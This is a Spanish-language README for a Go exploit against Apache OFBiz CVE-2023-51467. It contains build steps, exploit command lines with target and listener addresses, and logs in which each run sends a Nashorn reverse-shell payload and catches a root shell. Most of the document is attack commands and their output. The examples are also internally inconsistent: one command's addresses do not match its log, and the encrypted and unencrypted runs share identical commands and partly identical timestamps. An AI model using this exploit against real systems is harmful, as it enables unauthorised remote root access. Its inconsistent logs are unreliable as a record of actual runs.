Go-Exploit para CVE-2023-51467

Este repositorio contiene un go-exploit para Apache OFBiz CVE-2023-51467. La implementación incluye verificación del objetivo, un escáner de versiones y una reverse shell Nashorn en memoria como payload (requiere que el Java en uso admita Nashorn). El proceso de weaponización se describe en el blog de VulnCheck.

Compilación

Puedes usar el makefile para construir un contenedor docker:

make docker

O, si tienes un entorno de compilación de Go listo, simplemente usa make:

albinolobster@mournland:~/cve-2023-51467$ make
gofmt -d -w cve-2023-51467.go 
golangci-lint run --fix cve-2023-51467.go
GOOS=linux GOARCH=arm64 go build -o build/cve-2023-51467_linux-arm64 cve-2023-51467.go
albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -h
An exploit for Apache OFBiz CVE-2023-51467 that can generate a reverse shell or bind shell

Ejemplo de uso

Usando Docker

albinolobster@mournland:~/initial-access/feed/cve-2023-51467$ sudo docker run -it --network=host cve-2023-51467 -v -c -e -rhost 10.9.49.88 -rport 8090 -lhost 10.9.49.85 -lport 1270
time=2024-01-03T16:55:19.793-05:00 level=STATUS msg="Certificate not provided. Generating a TLS Certificate"
time=2024-01-03T16:55:19.999-05:00 level=STATUS msg="Starting TLS listener on 10.9.49.131:1270"
time=2024-01-03T16:55:20.000-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.121 port=8443 ssl=true "ssl auto"=false
time=2024-01-03T16:55:20.000-05:00 level=STATUS msg="Running a version check on the remote target" host=10.9.49.121 port=8443
time=2024-01-03T16:55:21.107-05:00 level=VERSION msg="The self-reported version is: 18.12" host=10.9.49.121 port=8443 version=18.12
time=2024-01-03T16:55:21.107-05:00 level=SUCCESS msg="The target *might* be a vulnerable version. Continuing." host=10.9.49.121 port=8443
time=2024-01-03T16:55:21.107-05:00 level=STATUS msg="Sending an SSL reverse shell payload for port 10.9.49.131:1270"
time=2024-01-03T16:55:21.108-05:00 level=STATUS msg="Throwing exploit at https://10.9.49.121:8443/webtools/control/ProgramExport/"
time=2024-01-03T16:55:21.571-05:00 level=SUCCESS msg="Caught new shell from 10.9.49.121:52582"
time=2024-01-03T16:55:21.571-05:00 level=STATUS msg="Active shell from 10.9.49.121:52582"
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exit
time=2024-01-03T16:55:27.546-05:00 level=STATUS msg="Exploit exited with an error"

Reverse Shell Nashorn cifrada

albinolobster@mournland:~/initial-access/feed/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -c -e -rhost 10.9.49.121 -rport 8443 -s -lhost 10.9.49.131 -lport 1270
time=2024-01-03T16:55:19.793-05:00 level=STATUS msg="Certificate not provided. Generating a TLS Certificate"
time=2024-01-03T16:55:19.999-05:00 level=STATUS msg="Starting TLS listener on 10.9.49.131:1270"
time=2024-01-03T16:55:20.000-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.121 port=8443 ssl=true "ssl auto"=false
time=2024-01-03T16:55:20.000-05:00 level=STATUS msg="Running a version check on the remote target" host=10.9.49.121 port=8443
time=2024-01-03T16:55:21.107-05:00 level=VERSION msg="The self-reported version is: 18.12" host=10.9.49.121 port=8443 version=18.12
time=2024-01-03T16:55:21.107-05:00 level=SUCCESS msg="The target *might* be a vulnerable version. Continuing." host=10.9.49.121 port=8443
time=2024-01-03T16:55:21.107-05:00 level=STATUS msg="Sending an SSL reverse shell payload for port 10.9.49.131:1270"
time=2024-01-03T16:55:21.108-05:00 level=STATUS msg="Throwing exploit at https://10.9.49.121:8443/webtools/control/ProgramExport/"
time=2024-01-03T16:55:21.571-05:00 level=SUCCESS msg="Caught new shell from 10.9.49.121:52582"
time=2024-01-03T16:55:21.571-05:00 level=STATUS msg="Active shell from 10.9.49.121:52582"
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exit
time=2024-01-03T16:55:27.546-05:00 level=STATUS msg="Exploit exited with an error"

Reverse Shell sin cifrar

albinolobster@mournland:~/initial-access/feed/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -c -e -rhost 10.9.49.121 -rport 8443 -s -lhost 10.9.49.131 -lport 1270 
time=2024-01-03T16:55:51.232-05:00 level=STATUS msg="Starting listener on 10.9.49.131:1270"
time=2024-01-03T16:55:51.233-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.121 port=8443 ssl=true "ssl auto"=false
time=2024-01-03T16:55:51.233-05:00 level=STATUS msg="Running a version check on the remote target" host=10.9.49.121 port=8443
time=2024-01-03T16:55:52.595-05:00 level=VERSION msg="The self-reported version is: 18.12" host=10.9.49.121 port=8443 version=18.12
time=2024-01-03T16:55:52.595-05:00 level=SUCCESS msg="The target *might* be a vulnerable version. Continuing." host=10.9.49.121 port=8443
time=2024-01-03T16:55:52.595-05:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.131:1270"
time=2024-01-03T16:55:52.595-05:00 level=STATUS msg="Throwing exploit at https://10.9.49.121:8443/webtools/control/ProgramExport/"
time=2024-01-03T16:55:52.948-05:00 level=SUCCESS msg="Caught new shell from 10.9.49.121:38038"
time=2024-01-03T16:55:52.948-05:00 level=STATUS msg="Active shell from 10.9.49.121:38038"
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exit
time=2024-01-03T16:55:58.861-05:00 level=STATUS msg="Exploit exited with an error"

cve-2023-51467